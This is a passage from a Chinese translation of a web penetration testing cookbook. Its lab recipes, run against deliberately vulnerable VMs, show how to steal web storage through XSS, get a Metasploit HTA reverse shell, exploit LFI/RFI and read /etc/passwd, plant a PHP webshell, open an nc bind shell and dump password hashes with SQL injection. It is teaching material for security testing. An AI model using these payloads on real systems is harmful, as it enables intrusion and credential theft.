BeEF 中有许多其他对渗透测试员有用的攻击和模块;如果你想了解更多,可以查看github.com/beefproject/beef/wiki上的官方 wiki。

从网页存储中提取信息

在 HTML5 之前,Web 应用程序只能通过 Cookies 将信息持久存储或在用户计算机上以会话为基础进行存储。在 HTML5 中,新增了名为web storage的存储选项,包括本地存储和会话存储。这些选项允许应用程序使用 JavaScript 在客户端(浏览器)存储和检索信息,且这些信息会一直保留,直到显式删除(对于本地存储而言),或者直到保存该信息的标签页或窗口关闭(对于会话存储而言)。

在这个案例中,我们将利用 XSS 漏洞从浏览器的网页存储中提取信息,展示如果一个应用存在漏洞,攻击者可以轻松地窃取这些信息。

如何操作...

我们将再次使用 Mutillidae II 及其 HTML5 网页存储练习来完成这个案例。以下是步骤:

  1. 在 Kali 虚拟机中,访问 Mutillidae II(http://192.168.56.11/mutillidae),在菜单中选择 HTML5 | HTML 5 Web Storage | HTML 5 Web Storage。

  2. 打开开发者工具并转到存储标签页。然后,进入Local Storage并选择服务器地址(192.168.56.11):

在这里,我们可以看到本地存储中有三个值。

  1. 现在,切换到Session Storage并选择服务器地址:

在临时或每会话存储中,我们看到四个值,其中一个名为Secure.AuthenticationToken

  1. 我们之前提到过,Local Storage是按域名访问的,这意味着任何在同一域名下运行的应用程序都可以读取和操作,例如我们在步骤 2中看到的MessageOfTheDay条目。现在我们尝试利用另一个应用程序中的漏洞来访问这些数据。在同一浏览器中,打开一个新标签页并访问 BodgeIt(http://192.168.56.11/bodgeit)。

    1. 我们知道 BodgeIt 的搜索功能存在 XSS 漏洞,因此在搜索框中输入以下有效载荷并执行:
<script>alert(window.localStorage.MessageOfTheDay);</script>

  1. 现在,尝试在Session Storage中执行相同的操作:
<script>alert(window.sessionStorage.getItem("Secure.AuthenticationToken"));</script>
  1. 由于我们无法从不同的窗口访问Session Storage,请返回到 Mutillidae II 标签页并转到 Owasp 2013 | XSS | Reflected First Order | DNS 查找。

  2. 在 Hostname/IP 字段中,输入前面的有效载荷并点击查找 DNS:

工作原理...

在这个案例中,我们演示了如何使用浏览器的开发者工具查看和编辑浏览器存储的内容。我们验证了Local StorageSession Storage之间的访问性差异,以及 XSS 漏洞如何将所有存储的信息暴露给攻击者。

首先,我们从一个与存储添加者不同的应用中访问 Local Storage,但它位于相同的域中。为此,我们使用了 window.localStorage.MessageOfTheDay,将键值作为对象名称,并直接引用它作为 Local Storage 的成员。对于 Session Storage,我们需要转到创建存储的窗口,并在那里利用一个漏洞;在这里,我们使用了一个不同的指令来获取我们想要的值:window.sessionStorage.getItem("Secure.AuthenticationToken")。这两种形式(将键作为类的成员和使用 getItem)对于两种存储类型都是有效的。在 session 中我们使用 getItem,因为键包含一个句点(.),这会被 JavaScript 解释器处理为对象/属性分隔符,所以我们需要使用 getItem` 将其用冒号括起来。

还有更多...

如果一个应用使用 web 存储来保存关于用户的敏感信息,XSS 不应该是唯一的安全隐患。如果攻击者能够访问用户的计算机,那么攻击者就可以直接访问存储 Local Storage 的文件,因为浏览器将这些信息以明文形式保存在本地数据库文件中。具体这些文件在哪些浏览器和操作系统中存储,以及如何读取它们,留给读者自行探索。

使用 ZAP 测试 WebSockets

由于 HTTP 是一种无状态协议,它将每个请求视为独立的,并与前一个和下一个请求无关,这也是为什么应用需要实现诸如会话 cookies 这样的机制来管理单个用户在一个会话中的操作。为了克服这一局限性,HTML5 引入了 WebSockets。WebSockets 提供了一个持久的、双向的通信通道,使客户端和服务器可以通过 HTTP 协议进行通信。

在本教程中,我们将展示如何使用 OWASP ZAP 监控、拦截并修改 WebSockets 通信,就像我们在渗透测试中处理普通请求一样。

准备工作

OWASP BWA 目前没有包含一个使用 WebSockets 的应用,所以我们需要使用 Damn Vulnerable Web Sockets (DVWS) (www.owasp.org/index.php/OWASP_Damn_Vulnerable_Web_Sockets_(DVWS)),这是 OWASP 提供的另一个工具,用于本教程。

DVWS 是一个基于 PHP 的开源应用;你可以从其 GitHub 仓库下载到 Kali 虚拟机中:github.com/interference-security/DVWS/

在理想的条件下,我们只需要下载应用,将其复制到 Apache 根目录,并启动服务即可运行,但不幸的是,这在 Kali Linux 中并非如此。

首先,你需要使用 apt install php-mysqli 安装 php-mysqli 包。注意它适用于哪个 PHP 版本;在我们这里是 7.2 版本。检查 Apache 配置文件中的 PHP 版本,并相应地调整。确保 PHP 模块的正确版本存在于 /etc/apache2/mods-enabled/ 中;如果没有,应该从 /etc/apache2/mods-available/ 中复制正确的版本,并删除不必要的模块:

另外,检查 php.ini/etc/php/<php_version>/apache2/php.ini)中是否启用了 MySQL 模块。查找 Dynamic Extensions 部分,并启用(去掉前面的 ;extension=mysqli 行。

接下来,配置数据库。首先,从终端启动 MySQL 服务(service mysql start),然后启动 MySQL 客户端(mysql)。进入 MySQL 提示符后,使用 create database dvws_db; 创建 DVWS 数据库,并退出 MySQL。当数据库创建完成后,我们需要创建其表结构。DVWS 提供了一个脚本来完成此操作,所以在终端中执行以下命令:mysql dvws_db < /var/www/html/DVWS/includes/dvws_db.sql(假设 /var/www/html/ 是 Apache 的文档根目录):

由于 DVWS 使用了预定义的主机名,我们需要为该主机名设置一个本地地址解析,这个地址就是我们将用于测试的地址。使用你喜欢的文本编辑器打开 /etc/hosts 文件,并在其中添加 127.0.0.1 dvws.local 这一行。

现在,我们可以通过 service apache2 start 启动 Apache 服务,并浏览到 http://dvws.local/DVWS/。按照页面上的指示操作,包括启动 WebSockets 监听器(php ws-socket.php),并运行 setup 脚本来完成数据库配置(http://dvws.local/DVWS/setup.php):

现在,我们可以继续进行。

如何操作…

我们为本次练习选择了 ZAP,因为它可以监视、拦截并重放 WebSockets 消息。Burp Suite 也能监视 WebSockets 通信,但它没有拦截、修改和重放消息的能力:

  1. 配置你的浏览器使用 ZAP 作为代理,在 ZAP 中,通过点击底部面板中的加号图标,启用 WebSockets 标签页。

  1. 现在,在浏览器中访问 http://dvws.local/DVWS/ 并从菜单中选择 Stored XSS:

  1. 输入一些评论并切换到 ZAP。在 History 标签页中,查找对 http://dvws.local:8080/post-comments 的请求;这是启动 WebSockets 会话的握手请求:

启动 WebSockets 通信的请求包含 Sec-WebSocket-Key 头,并跟随一个 base64 编码的值。这个密钥不是一种身份验证机制,它仅用于确保服务器不会接受非 WebSockets 客户端的连接:

服务器的响应是一个 101 Switching Protocols 代码,其中包含一个 Sec-WebSocket-Accept 头,其功能类似于客户端使用的密钥。

  1. 在 ZAP 的 WebSockets 标签中,你可以看到多个通信通道,也就是多个已建立的连接,所有消息都有方向(输入或输出)、一个 opcode 和一个 payload,即要传递的信息:

  1. 要拦截 WebSocket,通过点击 WebSockets 标签中的断点图标来添加一个断点。选择需要匹配以进行拦截的 Opcode、Channel 和 Payload Pattern:

  1. 当断点被触发时,消息会显示在上方面板,就像 ZAP 中的其他断点一样,但在这里我们可以更改内容并重新发送或丢弃消息:

  1. ZAP 还具有重播/重新发送现有消息的功能;右键点击 WebSockets 标签中的任何一行,选择“打开/重新发送与消息编辑器”选项:

  1. 然后,我们将看到 WebSocket 消息编辑器窗口,在这里我们可以更改消息的所有参数,包括其方向和内容,然后再次发送:

大多数 Web 应用程序固有的攻击和安全弱点,如果应用程序存在漏洞,可以通过 WebSockets 进行复制和利用。

它是如何工作的...

WebSockets 通信是通过 JavaScript 中的 WebSocket 类由客户端发起的。当 WebSocket 实例被创建时,客户端开始与服务器的握手。当服务器响应握手并且连接建立后,HTTP 连接就会被 WebSocket 连接取代,并成为一个双向二进制协议,这个协议并不一定与 HTTP 兼容。

WebSockets 是纯文本格式,与 HTTP 相似。服务器仍然要求你实现 HTTPS 来提供加密层。如果我们使用 Wireshark 对前面练习中的通信进行嗅探,我们可以轻松读取消息:

注意,客户端发送的消息是被掩盖的(未加密的),而服务器发送的消息是明文的;这是 RFC 6455 协议定义的一部分(www.rfc-base.org/txt/rfc-6455.txt)。

使用 XSS 和 Metasploit 获取远程 Shell

在前面的章节中,我们已经看到,XSS 可被攻击者用来提取用户信息或在应用程序范围内代表用户执行操作。然而,通过稍微多一点的努力和一些巧妙的社会工程,攻击者可以利用 XSS 说服用户下载并执行恶意软件,从而危害其客户端计算机,并进一步访问本地网络。

在这个示例中,我们将看到更复杂的 XSS 攻击的概念验证,最终导致攻击者能够在受害者计算机上远程执行命令。

准备工作

对于这个示例,我们将使用易受攻击的 VM vm_1 上的 BodgeIt 作为受攻击的应用程序。为了清晰起见,我们还需要一个单独的客户端虚拟机。在这个示例中,我们将在我们的实验室中添加一个 Windows 7 虚拟机。

如果您尚未配置 Windows 虚拟机,Microsoft 提供了多种设置供开发人员测试其应用程序在其 Internet Explorer 和 Edge 浏览器中使用;您可以从 developer.microsoft.com/en-us/microsoft-edge/tools/vms/ 下载它们。对于这个示例,我们将使用带有 IE 8 的 Windows 7。随意尝试其他版本;只需在架构和操作系统设置中进行一些微小更改,应该也可以工作。

如何做到...

我们将利用 XSS 让浏览器打开并执行我们在 Kali 虚拟机中托管的恶意 HTA 文件:

  1. 首先,让我们设置服务器。打开 Metasploit 控制台:
msfconsole
  1. 一旦启动,执行以下命令加载攻击模块和载荷:
use exploit/windows/misc/hta_server
set payload windows/shell/reverse_tcp
  1. 现在,我们的服务器将监听端口 8888
set srvport 8888
  1. 一旦执行了载荷,反向连接的监听器将在端口 12345 上:
set lport 12345
show options

  1. 现在,运行攻击并等待客户端连接:
run

服务器启动时请注意提供的信息。本地 IP 值告诉我们如何访问恶意的 HTA 文件,其文件名是随机字符串并附带扩展名 .hta(本例中为 k0Pjsl1tz2cI3Mm.hta)。

  1. 现在,前往我们的客户端 Windows 虚拟机,并打开 Internet Explorer。

  2. 假设攻击者发送了一封包含链接到 http://192.168.56.11/bodgeit/search.jsp?q=t<iframe src="http://192.168.56.10:8888/k0Pjsl1tz2cI3Mm.hta"></iframe> 的钓鱼邮件给受害者。在 Internet Explorer 中打开该链接。

  3. 如果电子邮件中的假设和 XSS 攻击成功,用户将接受警告并下载并执行文件。在 IE 中接受文件的下载:

  1. 当提示运行、保存或取消时,请运行 HTA 文件:

  2. 现在,让我们回到攻击方面。转到 Kali 并检查正在运行攻击的终端;它应该已经收到请求并发送了载荷:

  1. 注意,Metasploit 表示已经打开了一个新的会话,在我们的情况下编号为 2。使用 sessions 命令查看详细信息。

  2. 要与会话号 2 交互,使用 sessions -i 2。您将进入一个 Windows 命令提示符;输入一些 Windows 命令来验证它确实是受害者机器:

工作原理...

HTA 代表 HTML 应用程序,这是一种允许在 Web 浏览器内执行代码的格式,但没有浏览器安全模型的约束;它就像运行一个完全受信任的应用程序,类似于浏览器本身或 MS Word。

在这个示例中,我们使用了 Metasploit 来生成恶意 HTA 文件并设置服务器来托管它。我们的恶意文件包含了一个反向 Shell;反向 Shell 是一种程序,当受害者执行它时,会建立与攻击者服务器的连接(这就是它被称为反向的原因),与在受害者端打开端口等待传入连接不同。当连接建立后,会创建一个命令执行会话(远程 Shell)。

我们随便选择了端口8888作为我们的服务器端口,12345作为漏洞监听器的端口。在实际场景中,也许使用端口80443并配置适当的 TLS 会更加方便,因为这些是 HTTP 通信的常用端口,且 shell 漏洞利用需要更为复杂的设置,包括加密通信,可能还需要使用其他端口,这样在管理员检测到通信时不会引发警报。SSH 端口22是一个不错的选择。

在这个攻击中,XSS 只是用来将恶意文件加载到受害者机器上的方法;它还假设攻击者会创建一个具有说服力的社会工程学场景,以便文件被接受并执行。

第六章:利用注入漏洞

在本章中,我们将涵盖以下主题:

  • 寻找文件包含

  • 滥用文件包含和上传

  • 手动识别 SQL 注入

  • 按步骤进行的基于错误的 SQL 注入

  • 识别和利用盲 SQL 注入

  • 使用 SQLMap 查找并利用 SQL 注入

  • 利用 XML 外部实体注入

  • 检测和利用命令注入漏洞

介绍

根据 OWASP Top 10 2017 列表(www.owasp.org/index.php/Top_10-2017_Top_10),注入漏洞,如 SQL、操作系统命令和 XML 注入,是最常见的漏洞,并且它们对所有 web 应用程序漏洞的影响最大。

注入漏洞发生在来自用户提供的、不可信数据需要被服务器解释时。攻击者可以欺骗解释器将这些数据当作可执行指令,从而使其执行非预期的命令或在没有适当授权的情况下访问数据。

在本章中,我们将讨论当今 web 应用程序中的主要注入漏洞,并且还会查看用于检测和利用这些漏洞的工具和技术。

寻找文件包含

文件包含漏洞发生在开发者使用用户可以修改的请求参数来动态选择加载哪些页面或将哪些代码包含在服务器将要执行的代码中时。此类漏洞可能导致系统完全被攻陷,如果服务器执行了包含的文件。

在这个实例中,我们将测试一个 web 应用程序,以发现它是否容易受到文件包含的攻击。

如何执行...

我们将使用 Damn Vulnerable Web Application (DVWA) 来进行本实例,因此我们需要 Kali 和易受攻击的虚拟机。让我们来看看以下步骤:

  1. 登录到 DVWA 并进入文件包含页面。

  2. 说明中提到我们应该编辑 GET 参数 page 来测试包含,因此我们尝试使用 index.php。结果如下所示:

看起来在该目录中没有 index.php 文件(或者文件为空)。也许这意味着 本地文件包含 (LFI) 是可能的。

  1. 要尝试 LFI,我们需要知道一个真实存在于本地的文件名。我们知道 DVWA 根目录下有一个 index.php 文件,因此我们尝试结合目录遍历和文件包含。将 ../../index.php 设置为页面变量,然后我们得到以下结果:

通过这个,我们演示了 LFI 和目录遍历都可以成功(通过使用 *../../*,我们遍历了目录树)。

  1. 下一步是尝试远程文件包含RFI),即包含托管在另一台服务器上的文件,而不是本地文件。由于我们的易受攻击虚拟机没有互联网访问权限(或者出于安全原因不应该有),我们将尝试包含托管在 Kali 机器上的文件。在 Kali 中打开终端并启动 Apache 服务:
# service apache2 start
  1. 现在,在浏览器中,我们通过将页面的 URL 作为参数输入到易受攻击的应用程序中,来包含我们的 Kali 首页,网址为http://192.168.56.11/dvwa/vulnerabilities/fi/?page=http://192.168.56.10/index.html,如下所示的截图:

我们能够通过在参数中输入完整的 URL 来使应用程序加载外部页面。这意味着它容易受到 RFI 攻击。如果包含的文件包含可执行的服务器端代码(例如 PHP),则该代码将在服务器上执行,从而允许攻击者远程执行命令,这使得完全系统妥协的可能性非常大。

它是如何工作的...

如果我们在 DVWA 中使用查看源代码按钮,我们可以看到服务器端的源代码如下:

<?php 
$file = $_GET['page']; //The page we wish to display  
?> 

这意味着page变量的值直接传递到文件名中,然后它被包含在代码中。通过这种方式,我们可以在服务器上包含并执行任何我们想要的 PHP 或 HTML 文件,只要它可以通过网络访问。要受到 RFI 攻击,服务器必须在其配置中包含allow_url_fopenallow_url_include。否则,如果文件包含漏洞存在,它将仅为 LFI。

还有更多...

我们还可以使用 LFI 来显示主机操作系统中的相关文件。例如,尝试包含../../../../../../etc/passwd,你将获得一个系统用户列表,包括他们的主目录和默认的 Shell。

滥用文件包含和上传

正如我们在前一个食谱中看到的,文件包含漏洞发生在开发人员使用验证不充分的输入生成文件路径并用这些路径包含源代码文件时。从 PHP 5.2.0 开始,现代版本的服务器端语言默认禁用了远程文件包含的能力,因此自 2011 年以来,RFI 攻击变得不太常见。

在这个食谱中,我们将首先上传一个恶意文件,即一个webshell(能够在服务器上执行系统命令的网页),并通过 LFI 执行它。

准备工作

在这个食谱中,我们将把文件上传到服务器。我们需要知道它将存储在哪里,以便通过编程访问它。为了获取上传位置,进入 DVWA 的上传页面并上传任何 JPG 图片。如果上传成功,它将显示上传的路径(../../hackable/uploads/)。现在我们知道了应用程序保存上传文件的相对路径;这对这个食谱来说足够了。

现在创建一个名为webshell.php的文件,内容如下:

<?
 system($_GET['cmd']);
 echo PHP_EOL . 'Type a command: <form method="GET" action="../../hackable/uploads/webshell.php"><input type="text" name="cmd"/></form>' . PHP_EOL;
 ?>

请注意,action参数中包含了我们通过上传 JPG 文件获得的上传路径。

如何做到...

让我们稍微提高难度,为这个脆弱的页面添加一些保护:登录到 DVWA,进入 DVWA 安全设置,将安全级别设置为中等。现在我们可以开始测试:

  1. 首先,尝试上传我们的文件。在 DVWA 中,进入上传页面并尝试上传webshell.php

所以,上传的文件需要是图像,存在对上传内容的验证;为了上传我们的webshell,我们需要绕过这个保护机制。

  1. 避免验证的一种简单方法是将 PHP 文件重命名为有效的扩展名。但是这会导致服务器和浏览器将其视为图像,而代码无法执行。相反,我们将通过修改请求的参数来绕过此保护机制。设置 Burp Suite 作为拦截代理。

  2. 选择webshell.php文件进行上传。

  3. 在 Burp Suite 中启用拦截并点击上传。拦截到的请求如下面的截图所示:

你可以看到请求是multipart类型的,这意味着它有多个独立的部分,每个部分都有自己的头部。请注意第二部分中的Content-Type头部,它包含了我们正在尝试上传的文件的内容。它显示为application/x-php,这告诉服务器该文件是 PHP 脚本。

  1. 将第二部分中的Content-Type值修改为image/jpeg,然后提交请求。如以下截图所示,这样就可以成功上传:

  1. 下一步是使用这个webshell在服务器上执行系统命令。返回到 DVWA 的文件包含部分。

  2. 如我们在前面的食谱中所做,使用page参数来包含我们的webshell。记得使用相对路径(../../hackable/uploads/webshell.php),如下图所示:

  1. 页面加载了webshell代码,我们可以看到“Type a command”文本和下面的文本框。在文本框中输入/sbin/ifconfig并按下Enter

成功了!如截图所示,服务器的 IP 地址是192.168.56.11。现在,我们可以通过在文本框中输入命令,或为cmd参数设置不同的值来执行服务器上的命令。

它是如何工作的...

首先,我们发现应用程序在接受上传之前会验证文件。应用程序验证文件的方式有多种,最简单和最常见的方法是检查文件扩展名和请求的Content-Type头部;此方法在本食谱中使用。为了绕过这一保护机制,我们修改了文件的内容类型,默认情况下浏览器将其设置为application/x-php,我们将其修改为服务器期望的类型,以便让服务器将文件作为图像接受:image/jpeg

有关 HTTP 通信中有效类型的更多信息,请查看以下网址:developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_typesdeveloper.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types

我们上传的文件 webshell.php 接受一个 GET 参数(cmd),并将其作为输入参数传递给 PHP 的 system() 函数。system 的作用是调用系统命令并将输出显示在响应中返回给客户端。其余代码只是一个 HTML 表单,允许我们一遍又一遍地输入命令。注意,表单的 action 被设置为文件上传的相对路径。这是因为文件并不是直接调用的,而是作为包含文件被引入的。这意味着它的代码会作为包含者代码的一部分被解释,因此,所有相对路径和网址都从包含者的角度来解释。

一旦文件上传完成,我们利用 LFI 漏洞执行了它,并在服务器上运行了系统命令。

还有更多…

一旦我们能够上传并执行服务器端代码,就有很多方法可以利用它来攻破服务器。例如,在绑定 shell 中,我们建立一个直接连接,允许我们直接与服务器交互,而无需通过 webshell。一个非常简单的做法是在服务器中运行以下命令:

nc -lp 12345 -e /bin/bash

它将打开 TCP 端口 12345 并监听连接。当连接成功时,它会执行 /bin/bash,接收输入,并通过网络将输出发送到连接的主机(攻击机)。要连接到受害者服务器,假设为 192.168.56.10,我们在 Kali 机器上运行以下命令:

nc 192.168.56.10 12345

这会连接到监听 12345 端口的服务器。也可以让服务器下载一个恶意程序,例如特权提升漏洞,并执行它以成为拥有更多权限的用户。

手动识别 SQL 注入

大多数现代 web 应用实现了某种数据库,SQL 是用来查询数据库的最流行语言。在 SQL 注入SQLi)攻击中,攻击者试图通过在表单输入或请求的任何其他参数中注入 SQL 命令,来篡改应用与数据库之间的通信,迫使应用发送被修改的查询,这些查询在服务器端被用来构建 SQL 语句。

在本例中,我们将测试一个 web 应用的输入,看它是否容易受到基于错误的 SQL 注入(SQLi)攻击。

如何操作…

登录到 DVWA,进入 SQL 注入页面,检查安全级别是否为低:

  1. 与之前的步骤一样,先通过输入一个数字来测试应用程序的正常行为。将用户 ID 设置为1并点击提交。通过查看结果,我们可以说应用程序查询了数据库,查看是否存在 ID 为 1 的用户,并返回了该用户的 ID、姓名和姓氏。

  2. 接下来,我们必须测试如果发送应用程序没有预期的内容会发生什么。在文本框中输入1'并提交该 ID。如以下截图所示,应用程序应该会响应一个错误:

这个错误信息告诉我们数据库收到了一个格式不正确的查询。这并不意味着我们可以确定这里存在 SQLi,但很可能这个应用程序是脆弱的。

  1. 返回到 DVWA SQL 注入页面。

  2. 为了确认存在基于错误的 SQLi,我们尝试另一个输入:1''(这次是两个单引号):

这次没有错误。这确认了应用程序中存在 SQLi 漏洞。

  1. 现在我们将执行一个非常基础的 SQLi 攻击。在文本框中输入''1'='1并提交。结果应该如下所示:

看起来我们刚刚获取了数据库中注册的所有用户。

它是如何工作的...

SQLi 发生在输入未经过验证和清理之前就用于构建查询数据库的请求时。假设应用程序中的服务器端代码(用 PHP 编写)将查询构造如下:

$query = "SELECT * FROM users WHERE id='".$_GET['id']. "'"; 

这意味着在id参数中发送的数据将直接作为查询的一部分。如果我们将参数引用替换为其值,我们就得到如下:

$query = "SELECT * FROM users WHERE id='"."1". "'"; 

因此,当我们发送像之前那样的恶意输入时,PHP 解释器会按如下方式读取这行代码:

$query = "SELECT * FROM users WHERE id='"."' or '1'='1"."'"; 

生成的 SQL 语句将如下所示:

$query = "SELECT * FROM users WHERE id='' or '1'='1'"; 

这意味着如果用户id等于空值或1=1,就选择users表中的所有内容;因为 1 总是等于 1,所以所有用户都符合这些条件。我们发送的第一个单引号关闭了原始代码中打开的那个单引号。之后,我们可以插入一些 SQL 代码,最后一个没有关闭的单引号将使用服务器代码中已设置的那个。

这被称为基于错误的 SQLi,是 SQLi 最基本的形式,因为我们使用错误信息来判断我们是否通过注入构造了有效的查询,并且结果会直接显示在应用程序的输出中。

还有更多...

SQL 注入攻击可能造成比仅仅显示应用程序用户名更大的损害。通过利用这种漏洞,攻击者可能会提取用户的各种敏感信息,如联系方式和信用卡号码。还可能会危及整个服务器,能够执行命令并提升权限。此外,攻击者还可能能够提取数据库中的所有信息,包括数据库和系统用户、密码,并且根据服务器和内部网络配置,SQL 注入漏洞可能是全面网络和内部基础设施攻陷的入口点。

步骤式基于错误的 SQL 注入攻击

在之前的示例中,我们检测到一个 SQL 注入漏洞。在本示例中,我们将利用该漏洞并用它提取数据库中的信息。

如何进行……

我们已经知道 DVWA 存在 SQL 注入漏洞,所以让我们登录并浏览到http://192.168.56.11/dvwa/vulnerabilities/sqli/。然后,按照以下步骤进行操作:

  1. 在检测到 SQL 注入存在后,下一步是了解内部查询,或者更准确地说,是查询结果的列数。在用户 ID 框中输入任意数字并点击提交。

  2. 现在,打开 HackBar(按F9)并点击加载 URL。地址栏中的 URL 应该现在出现在 HackBar 中。

  3. 在 HackBar 中,我们将 id 参数的值替换为1' order by 1 -- '并点击执行,如下截图所示:

  1. 我们不断增加order by后面的数字并执行请求,直到出现错误。在这个例子中,错误发生在按第3列排序时。这意味着查询结果只有两列,当我们尝试按一个不存在的列进行排序时,会触发错误:

  1. 现在我们知道查询有两列。让我们尝试使用union语句提取一些信息。将id的值设置为1' union select 1,2 -- ' 然后执行。你应该会看到两个结果:

  1. 这意味着我们可以在这个联合查询中请求两个值。让我们获取 DBMS 的版本和数据库用户。将id设置为1' union select @@version,current_user() -- ' 然后执行:

  1. 让我们寻找一些更相关的信息,比如应用程序的用户。首先,我们需要定位用户的表。将id设置为1' union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- ' 并提交,得到以下结果:

  1. 好的,我们知道数据库(或模式)叫做dvwa,我们正在寻找的表是users。由于我们只有两个位置来设置值,我们需要知道表的哪些列对我们有用;将id设置为1' union select column_name, 1 FROM information_schema.tables WHERE table_name = 'users' -- '

  2. 最后,我们知道该查询具体要请求什么。将id设置为1' union select user, password FROM dvwa.users -- '

First name:字段中,我们有应用程序的用户名,而在Surname:字段中,我们有每个用户的密码哈希。我们可以将这些哈希复制到文本文件中,然后使用 John the Ripper 或我们喜欢的密码破解工具来尝试破解它们。

如何运作...

从我们的第一次注入,1' order by 1 -- '1' order by 3 -- ',我们使用了 SQL 中的一个功能,允许我们根据查询中声明的字段顺序号来对查询结果进行排序。我们使用这个功能生成了一个错误,以便找出查询中有多少列,从而可以利用这些列创建一个union查询。

union语句用于连接两个查询,这两个查询的列数相同。通过注入这个,我们几乎可以查询数据库中的任何内容。在本示例中,我们首先检查了它是否按预期工作。之后,我们把目标设置在了users表,并执行了以下操作来获取数据:

  1. 第一步是发现数据库和表的名称。我们通过查询information_schema数据库完成了这个任务,information_schema是存储所有数据库、表和列信息的数据库。

  2. 一旦我们知道了数据库和表的名称,我们查询了表中的列,找出我们需要的列,结果是用户名和密码。

  3. 最后,我们注入了一个查询,要求返回dvwa数据库中users表的所有用户名和密码。

识别和利用盲 SQL 注入

我们已经看到 SQL 注入漏洞是如何工作的。在本示例中,我们将介绍同类型的另一种漏洞,它不会显示错误信息或任何可能引导我们进行利用的提示。我们将学习如何识别和利用盲 SQL 注入。

如何做到...

登录到 DVWA 并进入 SQL 注入(盲注):

  1. 这个表单看起来和我们在前面的示例中看到的 SQL 注入表单完全一样。在文本框中输入1并点击提交,以查看 ID 为1的用户信息。

  2. 现在,让我们用1'进行第一次测试,看看是否像前面的示例一样出现错误:

我们没有收到错误信息,但也没有结果。这里可能发生了一些有趣的事情。

  1. 我们用1''进行第二次测试:

ID 为1的结果如下所示。这意味着之前的测试(1')是一个错误,已被应用程序捕获并处理。我们很可能在这里有 SQLi 漏洞,但似乎是盲 SQLi—没有显示数据库信息,因此我们需要猜测。

  1. 让我们尝试识别当你注入一些总是返回假值的代码时会发生什么。将1*'*'1'='2作为用户 ID。1不等于2,因此查询中没有记录符合选择条件,结果为空。

  2. 现在尝试一个在 ID 存在时始终为真的查询:1' and '1'='1

这表明此页面存在盲 SQL 注入(SQLi)漏洞:如果我们注入的 SQL 代码总是返回假结果,而另一段注入代码总是返回真结果,那么我们就有了漏洞,因为服务器正在执行这些代码,即使它在响应中没有明确显示出来。

  1. 在这个方案中,我们将发现连接到数据库的用户名,因此我们首先需要知道用户名的长度。我们先尝试一个。注入这个:1' and 1=char_length(current_user()) and '1'='1

  2. 下一步是找到 Burp Suite 代理历史中的最后一个请求,并将其发送到 Intruder,如下图所示:

  1. 一旦发送到 Intruder,我们可以清除所有有效负载标记,并在第一个and后面的1处添加一个,如下图所示:

  1. 进入有效负载部分,将有效负载类型设置为数字。

  2. 将有效负载类型设置为顺序,从115,步长为 1。它应该是这样的:

  1. 为了查看响应是正面还是负面,进入 Intruder 的选项,清空 Grep - Match 列表,然后添加First name

我们需要在每个用于此攻击的 Intruder 标签中进行此更改。

  1. 开始攻击。结果显示用户名是六个字符长:

  1. 现在,我们将从猜测第一个字母开始,逐个猜测用户名的每个字符。请在应用程序中提交以下内容:1' and current_user LIKE 'a%%字符是 SQL 中的通配符,能够匹配任何字符串。我们选择a作为第一个字母,以便 Burp Suite 能够获取请求。它也可以是任何字母。

  2. 同样,我们将请求发送到 Intruder,并在a处仅保留一个有效负载标记,这是用户名的第一个字母:

  1. 我们的有效负载将是一个简单的列表,包含所有小写字母(a 到 z)、数字(0 到 9)和一些特殊字符(-, +, #, %, @)。大写字母被省略,因为 MySQL 中的 select 查询对大小写不敏感。

  2. 在这个 Intruder 标签中重复步骤 12并开始攻击,如下所示:

我们用户名的第一个字母是d

  1. 现在,我们需要找到用户名的第二个字符,于是我们提交1' and current_user LIKE 'da%到应用程序的文本框,并将请求发送给入侵者。

  2. 现在,我们的有效负载标记将是紧随d后的a;换句话说,就是用户名的第二个字母。

  3. 开始攻击以发现第二个字母。你将看到它是v

  1. 继续发现用户名中的所有六个字符。你可能会注意到,负载中的%符号总是被标记为正确。这是因为,正如我们之前所说,这个符号是一个通配符。我们需要它,因为它是用户名中的一个有效字符。正如我们在下面的截图中看到的,最后一个字符确实是%

根据这个结果,用户名是dvwa@%。第二个%字符是我们注入的一部分,并且匹配实际用户名后面的空字符串。

  1. 为了验证发现的用户名,我们将 like 操作符替换为=。提交1' and current_user()='dvwa@%到页面:

这确认我们已经找到了当前用户的正确用户名。

它是如何工作的...

基于错误的 SQL 注入和盲 SQL 注入在服务器端是同一个漏洞:应用程序在使用输入生成查询到数据库时,没有对输入进行消毒。它们之间的区别在于检测和利用方式。

在基于错误的 SQL 注入中,我们利用服务器发送的错误信息来识别查询类型、表名和列名。

另一方面,当我们尝试利用盲注时,我们需要通过提问来获取信息,比如是否有一个用户名以"a"开头?然后是是否有一个用户名以"aa"开头?,*或者作为一个 SQLi:'and name like 'a%,因此可能需要更多的时间来检测和利用。

手动利用盲 SQL 注入比基于错误的注入需要更多的努力和时间;在这个例子中,我们看到如何获取连接到数据库的用户的用户名,但在前一个例子中,我们使用一个命令就能得到它。我们本可以使用字典法来检查当前用户是否在用户名列表中,但这样会花费更多时间,而且用户名可能根本不在列表里。

一旦我们知道有注入并且知道一个正面响应的样子,我们就开始询问当前用户名的长度。我们询问数据库当前用户名的长度是 1 吗是 2 吗?依此类推,直到发现长度。知道何时停止查找用户名中的字符非常有用。

在找出长度后,我们使用相同的技巧来发现第一个字母。LIKE 'a%'语句告诉 SQL 解释器第一个字母是否为a;其余部分无关紧要,可以是任何内容(%是大多数 SQL 实现中的通配符字符)。在这里,我们发现第一个字母是d。使用相同的原理,我们找出了其余的字符并推算出名称。

还有更多…

这种攻击可以通过找出数据库管理系统(DBMS)、所使用的版本,然后使用特定厂商的命令查看用户是否具有管理员权限。如果是,你可以提取所有的用户名和密码,激活远程连接,除此之外,还能做许多其他操作。你还可以尝试使用工具来自动化这种攻击,例如 SQLMap,我们将在下一个教程中介绍。

另见

还有另一种盲注类型,称为基于时间的盲 SQLi,在这种情况下,我们无法通过视觉提示知道命令是否执行(例如有效或无效账户消息)。相反,我们需要向数据库发送一个睡眠命令,如果响应时间比我们发送的时间稍长,那么它就是一个真实的响应。这种攻击过程较慢,因为有时甚至需要等待 30 秒才能得到一个字符。在这种情况下,使用 sqlninja 或 SQLMap 等工具非常有用(www.owasp.org/index.php/Blind_SQL_Injection)。

查看以下链接以获取有关盲 SQLi 的更多信息:

使用 SQLMap 寻找并利用 SQL 注入

